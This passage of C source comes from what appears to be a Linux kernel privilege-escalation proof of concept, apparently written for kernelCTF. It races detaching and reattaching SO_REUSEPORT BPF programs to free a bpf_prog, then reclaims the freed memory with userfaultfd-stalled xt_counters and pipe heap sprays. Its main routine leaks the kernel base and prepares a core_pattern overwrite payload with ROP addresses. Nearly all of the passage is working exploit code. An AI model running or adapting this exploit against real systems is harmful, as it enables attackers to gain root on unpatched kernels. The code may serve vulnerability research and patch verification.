fill_xt_counters_userbuf(inline_job.buf, inline_job.total);
inline_job.fault_page =
spray_fault_page(inline_job.buf, FAULT_USER_PAGE_INDEX);
if (madvise(inline_job.fault_page, PAGE_SZ, MADV_DONTNEED) != 0)
die("madvise inline");
setup_uffd_fd(&inline_job.uffd, inline_job.fault_page);
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 64 * 1024);
if (pthread_create(&inline_job.handler_th, &attr, ondemand_fault_handler,
&inline_job) != 0)
die("pthread inline handler");
pthread_detach(inline_job.handler_th);
pthread_attr_destroy(&attr);
#endif
}
static void run_inline_block_spray(void) {
#if INLINE_BLOCK_SPRAY
if (sync_spray_fd < 0)
return;
if (madvise(inline_job.fault_page, PAGE_SZ, MADV_DONTNEED) != 0)
die("madvise inline recycle");
run_xt_counters_spray(sync_spray_fd, inline_job.buf, inline_job.total);
atomic_fetch_add(&inline_sprays, 1);
#endif
}
static void setup_ondemand_spray(void) {
size_t total = COUNTER_BYTES;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 64 * 1024);
#if PIPE_SPRAY
for (int i = 0; i < ONDEMAND_JOBS; i++) {
struct ondemand_job *j = &od_jobs[i];
j->id = i;
pthread_mutex_init(&j->lock, NULL);
pthread_cond_init(&j->cond, NULL);
if (pthread_create(&j->th, &attr, ondemand_worker, j) != 0)
die("pthread pipe ondemand");
pthread_detach(j->th);
}
pthread_attr_destroy(&attr);
return;
#endif
uffd_release_page = mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (uffd_release_page == MAP_FAILED)
die("mmap uffd_release");
memset(uffd_release_page, 0x41, PAGE_SZ);
{
uint32_t type = BPF_PROG_TYPE_SK_REUSEPORT;
uint64_t marker = HIJACK_VAL;
memcpy(uffd_release_page + 4, &type, sizeof(type));
memcpy(uffd_release_page + 48, &marker, sizeof(marker));
}
for (int i = 0; i < ONDEMAND_JOBS; i++) {
struct ondemand_job *j = &od_jobs[i];
j->id = i;
j->total = total;
pthread_mutex_init(&j->lock, NULL);
pthread_cond_init(&j->cond, NULL);
j->buf = mmap(NULL, spray_user_len(total) + PAGE_SZ, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (j->buf == MAP_FAILED)
die("mmap ondemand");
fill_xt_counters_userbuf(j->buf, total);
j->fault_page = spray_fault_page(j->buf, FAULT_USER_PAGE_INDEX);
if (madvise(j->fault_page, PAGE_SZ, MADV_DONTNEED) != 0)
die("madvise ondemand");
setup_uffd_fd(&j->uffd, j->fault_page);
if (pthread_create(&j->th, &attr, ondemand_worker, j) != 0)
die("pthread ondemand");
pthread_detach(j->th);
if (pthread_create(&j->handler_th, &attr, ondemand_fault_handler, j) != 0)
die("pthread ondemand handler");
pthread_detach(j->handler_th);
}
pthread_attr_destroy(&attr);
}
static void launch_ondemand_spray(unsigned count) {
unsigned launched = 0;
for (unsigned attempts = 0; launched < count && attempts < ONDEMAND_JOBS * 2;
attempts++) {
int idx = atomic_fetch_add(&od_next, 1) % ONDEMAND_JOBS;
struct ondemand_job *j;
j = &od_jobs[idx];
pthread_mutex_lock(&j->lock);
if (!j->busy && !j->go) {
j->go = 1;
pthread_cond_signal(&j->cond);
atomic_fetch_add(&ondemand_launched, 1);
launched++;
}
pthread_mutex_unlock(&j->lock);
}
}
static void launch_ondemand_waves(void) {
for (unsigned wave = 0; wave < ONDEMAND_WAVES; wave++) {
if (wave && ONDEMAND_WAVE_DELAY_US)
usleep(ONDEMAND_WAVE_DELAY_US);
launch_ondemand_spray(ONDEMAND_PER_ATTACH);
}
}
static void run_ipi_rounds(unsigned rounds) {
if (!ipi_region_global)
return;
for (unsigned i = 0; i < rounds; i++) {
mprotect(ipi_region_global, IPI_REGION_SIZE, PROT_READ);
mprotect(ipi_region_global, IPI_REGION_SIZE, PROT_READ | PROT_WRITE);
syscall(__NR_membarrier, MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0);
}
if (rounds)
atomic_fetch_add(&ipi_count, rounds * 3);
}
static void wait_for_xt_lock_window(void) {
#if XT_LOCK_HOLDER
if (XT_LOCK_WAIT_US) {
unsigned waited;
for (waited = 0; waited < XT_LOCK_WAIT_US; waited++) {
if (atomic_load(&xt_lock_active))
break;
usleep(1);
}
if (waited < XT_LOCK_WAIT_US)
atomic_fetch_add(&xt_lock_waits, 1);
else
atomic_fetch_add(&xt_lock_wait_miss, 1);
}
#endif
}
static void *sync_async_worker(void *arg) {
int id = (int)(intptr_t)arg;
int fd;
pin_cpu(id & 1);
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die("sync async socket");
while (!atomic_load(&stop_flag)) {
long jobs = atomic_load(&sync_async_jobs);
while (jobs > 0) {
if (atomic_compare_exchange_weak(&sync_async_jobs, &jobs, jobs - 1))
break;
}
if (jobs <= 0) {
sched_yield();
continue;
}
run_xt_counters_spray(fd, sync_spray_buf, sync_spray_alloc);
atomic_fetch_add(&sync_sprays, 1);
atomic_fetch_sub(&sync_async_outstanding, 1);
}
close(fd);
return NULL;
}
static void launch_sync_async_spray(void) {
long cur;
cur = atomic_load(&sync_async_outstanding);
while (cur < SYNC_ASYNC_MAX_OUTSTANDING) {
if (atomic_compare_exchange_weak(&sync_async_outstanding, &cur, cur + 1))
break;
}
if (cur >= SYNC_ASYNC_MAX_OUTSTANDING) {
atomic_fetch_add(&sync_async_skips, 1);
return;
}
atomic_fetch_add(&sync_async_jobs, 1);
}
static void run_sync_spray(unsigned rounds) {
#if PIPE_SPRAY
run_pipe_spray(rounds);
return;
#endif
if (sync_spray_fd < 0 || !sync_spray_buf)
return;
for (unsigned i = 0; i < rounds; i++) {
wait_for_xt_lock_window();
#if SYNC_ASYNC_SPRAY
launch_sync_async_spray();
#else
run_xt_counters_spray(sync_spray_fd, sync_spray_buf, sync_spray_alloc);
atomic_fetch_add(&sync_sprays, 1);
#endif
}
}
struct attach_ctx {
int target_fd;
int pad_fd;
int send_fd;
uint16_t target_port;
int target_tcp;
};
static void send_udp_burst_fd(int s, uint16_t port, unsigned count) {
struct sockaddr_in dst = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
.sin_port = htons(port),
};
char buf[SEND_BYTES];
if (s < 0 || !count)
return;
memset(buf, 'B', sizeof(buf));
for (unsigned i = 0; i < count && !atomic_load(&stop_flag); i++) {
if (sendto(s, buf, sizeof(buf), 0, (void *)&dst, sizeof(dst)) >= 0)
atomic_fetch_add(&send_total, 1);
}
}
static void detach_reuseport_prog(int fd, const char *what) {
int zero = 0;
if (setsockopt(fd, SOL_SOCKET, SO_DETACH_REUSEPORT_BPF, &zero,
sizeof(zero)) == 0) {
atomic_fetch_add(&detach_ok, 1);
} else if (errno == ENOENT) {
atomic_fetch_add(&detach_enoent, 1);
} else if (errno == EINVAL) {
atomic_fetch_add(&detach_einval, 1);
} else {
atomic_fetch_add(&detach_other, 1);
die(what);
}
}
static void attach_reuseport_prog(int fd, struct sock_fprog *p, int efd,
const char *what) {
#if DYNAMIC_EBPF_REUSEPORT
(void)p;
if (setsockopt(fd, SOL_SOCKET, SO_ATTACH_REUSEPORT_EBPF, &efd, sizeof(efd)) <
0)
die(what);
#else
if (USE_EBPF_REUSEPORT) {
if (setsockopt(fd, SOL_SOCKET, SO_ATTACH_REUSEPORT_EBPF, &efd,
sizeof(efd)) < 0)
die(what);
} else {
if (setsockopt(fd, SOL_SOCKET, SO_ATTACH_REUSEPORT_CBPF, p, sizeof(*p)) < 0)
die(what);
}
#endif
}
static void attach_dynamic_ebpf_reuseport(int fd, unsigned ret_idx,
const char *what) {
#if DYNAMIC_EBPF_REUSEPORT
int efd = load_reuseport_ebpf(ret_idx);
if (efd < 0)
die("dynamic ebpf load");
attach_reuseport_prog(fd, NULL, efd, what);
close(efd);
#else
(void)fd;
(void)ret_idx;
(void)what;
#endif
}
static void *blocked_xt_counters_setsockopt(void *arg) {
struct spray_req *r = arg;
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die("spray socket");
run_xt_counters_spray(fd, r->buf, r->total);
pause();
return NULL;
}
static void spray_one(int ready_fd, int idx) {
size_t total = COUNTER_BYTES;
struct spray_req *r;
pthread_t th;
void *fault_page;
struct pollfd pfd;
char status;
r = calloc(1, sizeof(*r));
if (!r)
die("calloc spray_req");
r->total = total;
r->buf = mmap(NULL, total + PAGE_SZ, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (r->buf == MAP_FAILED)
die("mmap spray");
fill_xt_counters_userbuf(r->buf, total);
((char *)r->buf)[8] = (char)(0x41 + (idx & 0xf));
/*
* xt_copy_counters() copies from after struct xt_counters_info.
* Fault the final source page so page+48 markers in all preceding
* source pages have already been copied while the syscall remains blocked
* with the vmalloc allocation live.
*/
fault_page = spray_fault_page(r->buf, FAULT_USER_PAGE_INDEX);
if (madvise(fault_page, PAGE_SZ, MADV_DONTNEED) != 0)
die("madvise");
setup_uffd(r, fault_page);
if (pthread_create(&th, NULL, blocked_xt_counters_setsockopt, r) != 0)
die("pthread spray");
pthread_detach(th);
pfd.fd = r->uffd;
pfd.events = POLLIN;
if (poll(&pfd, 1, 5000) > 0)
status = 'R';
else
status = 'T';
if (write(ready_fd, &status, 1) < 0)
_exit(1);
}
static void fast_counter_spray_loop(int worker_id) {
size_t total = COUNTER_BYTES;
char *buf;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die("fast spray socket");
buf = mmap(NULL, spray_user_len(total), PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED)
die("mmap fast spray");
fill_xt_counters_userbuf(buf, total);
buf[8] = (char)(0x61 + (worker_id & 0xf));
for (;;) {
run_xt_counters_spray(fd, buf, total);
atomic_fetch_add(&fast_sprays, 1);
}
}
static void spray_worker(int ready_fd, int worker_id) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
pin_cpu(worker_id & 1);
#if PIPE_SPRAY
setup_pipe_spray();
run_pipe_spray(PIPE_PREFILL_PAGES);
for (int i = 0; i < BLOCKED_PER_WORKER; i++) {
char status = 'R';
if (write(ready_fd, &status, 1) < 0)
_exit(1);
}
#if PIPE_TRIGGER_SPRAY
for (;;) {
unsigned char events[128];
ssize_t n = read(pipe_trigger_rfd, events, sizeof(events));
if (n <= 0) {
if (errno == EINTR)
continue;
if (errno == EAGAIN || errno == EWOULDBLOCK) {
sched_yield();
continue;
}
break;
}
run_pipe_spray((unsigned)n * PIPE_TRIGGER_BATCH);
}
return;
#endif
while (!atomic_load(&stop_flag)) {
run_pipe_spray(PIPE_WORKER_BATCH);
if (PIPE_WORKER_SLEEP_US)
usleep(PIPE_WORKER_SLEEP_US);
sched_yield();
}
return;
#endif
enter_spray_namespaces();
for (int i = 0; i < BLOCKED_PER_WORKER; i++)
spray_one(ready_fd, worker_id * BLOCKED_PER_WORKER + i);
fast_counter_spray_loop(worker_id);
}
static int spawn_spray_workers(void) {
int pipefd[2];
if (pipe(pipefd) != 0)
die("pipe");
#if PIPE_SPRAY && PIPE_TRIGGER_SPRAY
{
int tfd[2];
int flags;
if (pipe(tfd) != 0)
die("pipe trigger");
pipe_trigger_rfd = tfd[0];
pipe_trigger_wfd = tfd[1];
flags = fcntl(pipe_trigger_wfd, F_GETFL, 0);
if (flags >= 0)
fcntl(pipe_trigger_wfd, F_SETFL, flags | O_NONBLOCK);
}
#endif
for (int i = 0; i < SPRAY_WORKERS; i++) {
pid_t pid = fork();
if (pid < 0)
die("fork");
if (pid == 0) {
close(pipefd[0]);
#if PIPE_SPRAY && PIPE_TRIGGER_SPRAY
close(pipe_trigger_wfd);
#endif
spray_worker(pipefd[1], i);
_exit(0);
}
spray_pids[i] = pid;
}
close(pipefd[1]);
#if PIPE_SPRAY && PIPE_TRIGGER_SPRAY
close(pipe_trigger_rfd);
pipe_trigger_rfd = -1;
#endif
return pipefd[0];
}
static void stop_spray_workers(void) {
if (pipe_trigger_wfd >= 0) {
close(pipe_trigger_wfd);
pipe_trigger_wfd = -1;
}
for (int i = 0; i < SPRAY_WORKERS; i++)
if (spray_pids[i] > 0)
kill(spray_pids[i], SIGKILL);
for (int i = 0; i < SPRAY_WORKERS; i++)
if (spray_pids[i] > 0)
waitpid(spray_pids[i], NULL, 0);
}
static void *ready_reader(void *arg) {
int fd = *(int *)arg;
char c;
while (read(fd, &c, 1) == 1) {
if (c == 'R')
atomic_fetch_add(&spray_ready, 1);
else if (c == 'T')
atomic_fetch_add(&spray_timeouts, 1);
}
return NULL;
}
static void trigger_pipe_spray(void) {
#if PIPE_SPRAY && PIPE_TRIGGER_SPRAY
unsigned char events[PIPE_TRIGGER_EVENTS];
if (pipe_trigger_wfd < 0)
return;
memset(events, 0x42, sizeof(events));
(void)write(pipe_trigger_wfd, events, sizeof(events));
#endif
}
static void *attach_loop(void *arg) {
struct attach_ctx *ctx = arg;
int fd = ctx->target_fd;
int pad_fd = ctx->pad_fd;
pin_cpu(0);
while (!atomic_load(&stop_flag)) {
long it = atomic_load(&attach_iters);
struct sock_fprog *p = (it & 1) ? &prog1 : &prog0;
int efd = (it & 1) ? eprog1 : eprog0;
unsigned ret_idx = it & 1;
#if DETACH_CYCLE
#if GATED_SEND
atomic_store(&send_gate, 0);
#if PRE_DETACH_GATE_US
atomic_store(&send_gate, 1);
usleep(PRE_DETACH_GATE_US);
atomic_store(&send_gate, 0);
#endif
#endif
#if PAD_PAIR
detach_reuseport_prog(pad_fd, "detach-pad");
#endif
detach_reuseport_prog(fd, "detach-target");
/*
* Detach frees the old bpf_prog without first allocating the
* next one. bpf_prog_free() runs the actual vfree from a
* workqueue, so optionally yield a small amount of time before
* starting the controlled vmalloc allocations.
*/
if (DETACH_PRE_SPRAY_US)
usleep(DETACH_PRE_SPRAY_US);
for (unsigned i = 0; i < DETACH_YIELD_COUNT; i++)
sched_yield();
run_ipi_rounds(DETACH_IPI_BEFORE_SPRAY);
trigger_pipe_spray();
#if PURGE_BEFORE_SPRAY
if (purge_fd >= 0) {
struct sock_fprog *pp = (it & 1) ? &purge_prog1 : &purge_prog0;
if (setsockopt(purge_fd, SOL_SOCKET, SO_ATTACH_REUSEPORT_CBPF, pp,
sizeof(*pp)) < 0)
die("purge attach");
}
#endif
launch_ondemand_waves();
run_sync_spray(SYNC_SPRAY_PER_ATTACH);
#if PIPE_SPRAY
if (PIPE_DETACH_BURST)
run_pipe_spray(PIPE_DETACH_BURST);
#endif
run_inline_block_spray();
run_ipi_rounds(DETACH_IPI_AFTER_SPRAY);
if (DETACH_RECLAIM_US)
usleep(DETACH_RECLAIM_US);
#if GATED_SEND
atomic_store(&send_gate, 1);
if (SEND_GATE_US)
usleep(SEND_GATE_US);
atomic_store(&send_gate, 0);
#endif
if (DETACH_SEND_BURST && !ctx->target_tcp)
send_udp_burst_fd(ctx->send_fd, ctx->target_port, DETACH_SEND_BURST);
#if PAD_PAIR
#if DYNAMIC_EBPF_REUSEPORT
attach_dynamic_ebpf_reuseport(pad_fd, ret_idx, "attach-pad");
#else
attach_reuseport_prog(pad_fd, p, efd, "attach-pad");
#endif
#endif
#if DYNAMIC_EBPF_REUSEPORT
attach_dynamic_ebpf_reuseport(fd, ret_idx, "attach-target");
#else
attach_reuseport_prog(fd, p, efd, "attach-target");
#endif
if (DETACH_ATTACHED_US)
usleep(DETACH_ATTACHED_US);
#else
#if PAD_PAIR
#if DYNAMIC_EBPF_REUSEPORT
attach_dynamic_ebpf_reuseport(pad_fd, ret_idx, "attach-pad");
#else
attach_reuseport_prog(pad_fd, p, efd, "attach-pad");
#endif
#endif
#if DYNAMIC_EBPF_REUSEPORT
attach_dynamic_ebpf_reuseport(fd, ret_idx, "attach-target");
#else
attach_reuseport_prog(fd, p, efd, "attach-target");
#endif
run_inline_block_spray();
if (REPLACE_DETACH_INTERVAL && ((it + 1) % REPLACE_DETACH_INTERVAL) == 0) {
#if PAD_PAIR
detach_reuseport_prog(pad_fd, "interval-detach-pad");
#endif
detach_reuseport_prog(fd, "interval-detach-target");
}
sched_yield();
launch_ondemand_waves();
sched_yield();
run_sync_spray(SYNC_SPRAY_PER_ATTACH);
#endif
it = atomic_fetch_add(&attach_iters, 1) + 1;
}
return NULL;
}
static void *send_loop(void *arg) {
uint16_t port = *(uint16_t *)arg;
int s;
struct sockaddr_in dst = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
.sin_port = htons(port),
};
char *buf;
pin_cpu(1);
setup_perf_irq_source();
setup_thread_timer_irq_source();
s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0)
die("socket send");
if (SEND_ZEROCOPY) {
int one = 1;
setsockopt(s, SOL_SOCKET, SO_ZEROCOPY, &one, sizeof(one));
}
if (posix_memalign((void **)&buf, PAGE_SZ, SEND_BYTES))
die("posix_memalign send");
memset(buf, 'A', SEND_BYTES);
while (!atomic_load(&stop_flag)) {
int ret;
#if GATED_SEND
if (!atomic_load(&send_gate)) {
sched_yield();
continue;
}
#endif
if (SEND_GSO) {
char control[CMSG_SPACE(sizeof(uint16_t))];
struct iovec iov = {.iov_base = buf, .iov_len = SEND_BYTES};
struct msghdr msg;
struct cmsghdr *cmsg;
uint16_t gso = SEND_GSO;
memset(&msg, 0, sizeof(msg));
memset(control, 0, sizeof(control));
msg.msg_name = &dst;
msg.msg_namelen = sizeof(dst);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = control;
msg.msg_controllen = sizeof(control);
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_UDP;
cmsg->cmsg_type = UDP_SEGMENT;
cmsg->cmsg_len = CMSG_LEN(sizeof(gso));
memcpy(CMSG_DATA(cmsg), &gso, sizeof(gso));
ret = sendmsg(s, &msg, SEND_ZEROCOPY ? MSG_ZEROCOPY : 0);
} else {
ret = sendto(s, buf, SEND_BYTES, SEND_ZEROCOPY ? MSG_ZEROCOPY : 0,
(void *)&dst, sizeof(dst));
}
if (ret >= 0)
atomic_fetch_add(&send_total, 1);
if (SEND_SLEEP_MASK && (atomic_load(&send_total) & SEND_SLEEP_MASK) == 0)
usleep(1);
}
free(buf);
close(s);
return NULL;
}
static void *connect_loop(void *arg) {
uint16_t port = *(uint16_t *)arg;
struct sockaddr_in dst = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
.sin_port = htons(port),
};
pin_cpu(1);
setup_perf_irq_source();
setup_thread_timer_irq_source();
while (!atomic_load(&stop_flag)) {
int s = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
if (s < 0)
continue;
if (connect(s, (void *)&dst, sizeof(dst)) == 0 || errno == EINPROGRESS)
atomic_fetch_add(&send_total, 1);
close(s);
if ((atomic_load(&send_total) & 0x7f) == 0)
sched_yield();
}
return NULL;
}
static void *drain_loop(void *arg) {
int fd = *(int *)arg;
char buf[4096];
pin_cpu(1);
while (!atomic_load(&stop_flag)) {
ssize_t n;
while ((n = recv(fd, buf, sizeof(buf), MSG_DONTWAIT)) > 0)
atomic_fetch_add(&drain_total, 1);
}
return NULL;
}
static void *accept_loop(void *arg) {
int fd = *(int *)arg;
pin_cpu(1);
while (!atomic_load(&stop_flag)) {
int c;
while ((c = accept4(fd, NULL, NULL, SOCK_NONBLOCK)) >= 0) {
atomic_fetch_add(&drain_total, 1);
close(c);
}
if (errno == EMFILE || errno == ENFILE)
usleep(100);
}
return NULL;
}
static void *packet_drain_loop(void *arg) {
int fd = *(int *)arg;
char buf[4096];
pin_cpu(1);
while (!atomic_load(&stop_flag))
recv(fd, buf, sizeof(buf), MSG_DONTWAIT);
return NULL;
}
static void *ipi_loop(void *arg) {
void *region = arg;
unsigned long n = 0;
pin_cpu(0);
while (!atomic_load(&stop_flag)) {
mprotect(region, IPI_REGION_SIZE, PROT_READ);
mprotect(region, IPI_REGION_SIZE, PROT_READ | PROT_WRITE);
syscall(__NR_membarrier, MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0);
n += 3;
if ((n & 0xff) == 0)
sched_yield();
}
atomic_fetch_add(&ipi_count, n);
return NULL;
}
static void *hrtimer_irq_loop(void *arg) {
struct itimerspec its;
uint64_t expirations;
int fd;
(void)arg;
pin_cpu(1);
fd = timerfd_create(CLOCK_MONOTONIC, TFD_CLOEXEC);
if (fd < 0) {
atomic_fetch_add(&hrtimer_irq_fail, 1);
return NULL;
}
memset(&its, 0, sizeof(its));
its.it_value.tv_nsec = HRTIMER_IRQ_NS;
its.it_interval.tv_nsec = HRTIMER_IRQ_NS;
if (timerfd_settime(fd, 0, &its, NULL) != 0) {
atomic_fetch_add(&hrtimer_irq_fail, 1);
close(fd);
return NULL;
}
while (!atomic_load(&stop_flag)) {
if (read(fd, &expirations, sizeof(expirations)) ==
(ssize_t)sizeof(expirations))
atomic_fetch_add(&hrtimer_irq_expirations, expirations);
}
close(fd);
return NULL;
}
int main(int argc, char **argv) {
uint16_t target_port = TARGET_PORT;
uint16_t pad_port = TARGET_PORT + 2;
int t[4];
int pad[4];
int burst_send_fd = -1;
int packet_fds[PACKET_TAPS];
int packet_count = 0;
int ready_fd;
int target_tcp = TARGET_PROTO_TCP;
void *ipi_region;
struct attach_ctx attach_args;
pthread_t th_ready, th_attach, th_send[SEND_THREADS], th_drain[4];
pthread_t th_ipi[IPI_THREADS];
pthread_t th_hrtimer[HRTIMER_IRQ_THREADS];
pthread_t th_timerfd_irq;
int timerfd_irq_thread_started = 0;
pthread_t th_packet[PACKET_TAPS];
pthread_t th_xt_lock;
pthread_t th_sync_async[SYNC_ASYNC_WORKERS];
#if KCTF_CORE_PATTERN_PAYLOAD
pthread_t th_core_monitor;
int core_monitor_started = 0;
#endif
setbuf(stdout, NULL);
signal(SIGPIPE, SIG_IGN);
#if KCTF_CORE_PATTERN_PAYLOAD
if (argc > 1)
helper_mode(argv[1]);
(void)argc;
(void)argv;
pin_cpu(KASLR_LEAK_CPU);
kernel_base = leak_kernel_base();
kernel_base += KERNEL_BASE_DELTA;
printf("kaslr_adjusted=0x%llx leak_cpu=%d base_delta=%lld core_delta=%lld "
"rop_delta=%lld\n",
(unsigned long long)kernel_base, KASLR_LEAK_CPU,
(long long)KERNEL_BASE_DELTA, (long long)CORE_PATTERN_DELTA,
(long long)ROP_GADGET_DELTA);
core_pattern_addr = core_kaddr(CORE_PATTERN_NOKASLR);
#if PC_HIJACK_ONLY
hijack_val = HIJACK_VAL;
#else
hijack_val = kaddr(RSI_PIVOT_WRITE_RET_NOKASLR);
#endif
#else
(void)argc;
(void)argv;
#endif
{
struct rlimit rl = {.rlim_cur = 8192, .rlim_max = 8192};
struct rlimit ml = {.rlim_cur = RLIM_INFINITY, .rlim_max = RLIM_INFINITY};
#if PIPE_SPRAY
rl.rlim_cur = PIPE_RLIMIT_NOFILE;
rl.rlim_max = PIPE_RLIMIT_NOFILE;
#endif
setrlimit(RLIMIT_NOFILE, &rl);
setrlimit(RLIMIT_MEMLOCK, &ml);
}
printf("::POC_OUTPUT_START::\n");
setup_core_pattern_payload();
#if KCTF_CORE_PATTERN_PAYLOAD
if (!PC_HIJACK_ONLY &&
pthread_create(&th_core_monitor, NULL, core_pattern_monitor, NULL) == 0)
core_monitor_started = 1;
#endif
printf("target=%s/%u cbpf_len=%u xt_counter_pages=%u fault_user_page=%u "
"marker=0x%016llx race_seconds=%u\n",
target_tcp ? "tcp" : "udp", target_port, CBPF_LEN,
(unsigned)COUNTER_PAGES, (unsigned)FAULT_USER_PAGE_INDEX,
(unsigned long long)hijack_val, race_seconds);
printf("reuseport_prog=%s ebpf_len=%u\n",
DYNAMIC_EBPF_REUSEPORT ? "dynamic-ebpf"
: (USE_EBPF_REUSEPORT ? "ebpf" : "cbpf"),
(unsigned)EBPF_LEN);
printf("pad_pair=%u pad_port=%u\n", (unsigned)PAD_PAIR, pad_port);
if (!target_tcp)
printf("udp_send_bytes=%u udp_gso=%u zerocopy=%u send_threads=%u\n",
(unsigned)SEND_BYTES, (unsigned)SEND_GSO, (unsigned)SEND_ZEROCOPY,
(unsigned)SEND_THREADS);
if (DISABLE_BPF_STATS_SYSCTL) {
int ret = write_file("/proc/sys/kernel/bpf_stats_enabled", "0\n");
printf("bpf_stats_sysctl_disable=%s\n", ret == 0 ? "ok" : "failed");
}
#if SPRAY_IPSET
printf("reclaim_source=ip_set getsockopt vmalloc, fault_page=%u, ldt=off\n",
(unsigned)FAULT_USER_PAGE_INDEX);
#elif PIPE_SPRAY
printf("reclaim_source=pipe page allocator, slots=%u, userns=off, ldt=off\n",
(unsigned)PIPE_SLOTS);
#else
printf("reclaim_source=xt_counters vmalloc, fault_page=%u, ldt=off\n",
(unsigned)FAULT_USER_PAGE_INDEX);
#endif
setup_ebpf_reuseport_progs();
if (enter_target_namespaces() == 0) {
for (int i = 0; i < PACKET_TAPS; i++) {
int fd = open_packet_tap();
if (fd < 0)
break;
packet_fds[packet_count++] = fd;
}
printf("target netns: private, packet_taps=%d/%u\n", packet_count,
PACKET_TAPS);
} else {
printf("target netns: initial, packet_taps=unavailable\n");
}
int stats_fd = enable_bpf_stats();
printf("bpf_stats_fd=%d errno=%d enabled=%u\n", stats_fd, bpf_stats_errno,
(unsigned)ENABLE_BPF_STATS);
syscall(__NR_membarrier, MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED, 0, 0);
build_prog(&prog0, 0, 1);
build_prog(&prog1, 1, 7);
build_ret_prog_len(&purge_prog0, PURGE_CBPF_LEN, 0);
build_ret_prog_len(&purge_prog1, PURGE_CBPF_LEN, 1);
setup_sync_spray();
#if PIPE_SPRAY
printf("sync_pipe_spray=on slots=%u pages_per_slot=%u prefill=%u "
"worker_batch=%u worker_sleep_us=%u fake_bpf=%u fill_markers=%u "
"fake_type=%u detach_burst=%u max_writes=%u rlimit_nofile=%u "
"trigger=%u trigger_batch=%u trigger_events=%u\n",
(unsigned)PIPE_SLOTS, (unsigned)PIPE_PAGES_PER_SLOT,
(unsigned)PIPE_PREFILL_PAGES, (unsigned)PIPE_WORKER_BATCH,
(unsigned)PIPE_WORKER_SLEEP_US, (unsigned)PIPE_FAKE_BPF_STRUCT,
(unsigned)PIPE_FILL_MARKER_QWORDS, (unsigned)PIPE_FAKE_PROG_TYPE,
(unsigned)PIPE_DETACH_BURST, (unsigned)PIPE_MAX_WRITES,
(unsigned)PIPE_RLIMIT_NOFILE, (unsigned)PIPE_TRIGGER_SPRAY,
(unsigned)PIPE_TRIGGER_BATCH, (unsigned)PIPE_TRIGGER_EVENTS);
#else
printf("sync_xt_counters_spray=%s async=%u async_max=%u async_workers=%u\n",
sync_spray_fd >= 0 ? "on" : "off", (unsigned)SYNC_ASYNC_SPRAY,
(unsigned)SYNC_ASYNC_MAX_OUTSTANDING, (unsigned)SYNC_ASYNC_WORKERS);
#endif
setup_inline_spray();
printf("inline_xt_counters_spray=%s hold_us=%u\n",
INLINE_BLOCK_SPRAY ? "on" : "off", (unsigned)INLINE_HOLD_US);
printf("xt_lock_holder=%s hold_us=%u wait_us=%u\n",
XT_LOCK_HOLDER ? "on" : "off", (unsigned)XT_LOCK_HOLD_US,
(unsigned)XT_LOCK_WAIT_US);
printf("detach_cycle=%u pre_spray_us=%u reclaim_us=%u attached_us=%u\n",
(unsigned)DETACH_CYCLE, (unsigned)DETACH_PRE_SPRAY_US,
(unsigned)DETACH_RECLAIM_US, (unsigned)DETACH_ATTACHED_US);
printf("detach_yields=%u detach_ipi_before=%u detach_ipi_after=%u "
"ondemand_pin_cpu=%d\n",
(unsigned)DETACH_YIELD_COUNT, (unsigned)DETACH_IPI_BEFORE_SPRAY,
(unsigned)DETACH_IPI_AFTER_SPRAY, ONDEMAND_PIN_CPU);
printf("send_control=start_threads=%u detach_send_burst=%u gated=%u "
"pre_gate_us=%u gate_us=%u\n",
(unsigned)START_SEND_THREADS, (unsigned)DETACH_SEND_BURST,
(unsigned)GATED_SEND, (unsigned)PRE_DETACH_GATE_US,
(unsigned)SEND_GATE_US);
printf("perf_irq=%u period=%u\n", (unsigned)PERF_IRQ,
(unsigned)PERF_IRQ_PERIOD);
printf("hrtimer_irq_threads=%u ns=%u\n", (unsigned)HRTIMER_IRQ_THREADS,
(unsigned)HRTIMER_IRQ_NS);
printf("thread_timer_irq=%u ns=%u signal=%u\n", (unsigned)THREAD_TIMER_IRQ,
(unsigned)THREAD_TIMER_IRQ_NS, (unsigned)THREAD_TIMER_SIGNAL);
printf("timerfd_irq=%u ns=%u children=%u dups=%u epfds=%u cpu=%d\n",
(unsigned)TIMERFD_IRQ, (unsigned)TIMERFD_IRQ_NS,
(unsigned)TIMERFD_EPOLL_CHILDREN, (unsigned)TIMERFD_EPOLL_DUPS,
(unsigned)TIMERFD_EPOLL_FDS, TIMERFD_PIN_CPU);
printf("purge_before_spray=%u purge_cbpf_len=%u\n",
(unsigned)PURGE_BEFORE_SPRAY, (unsigned)PURGE_CBPF_LEN);
#if XT_LOCK_HOLDER
xt_lock_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (xt_lock_fd < 0)
die("xt lock socket");
pthread_create(&th_xt_lock, NULL, xt_lock_holder_loop, NULL);
#endif
for (int i = 0; i < 4; i++)
t[i] = target_tcp ? bind_reuseport_tcp(target_port)
: bind_reuseport_udp(target_port);
if (!target_tcp)
burst_send_fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
#if PAD_PAIR
for (int i = 0; i < 4; i++)
pad[i] = target_tcp ? bind_reuseport_tcp(pad_port)
: bind_reuseport_udp(pad_port);
#else
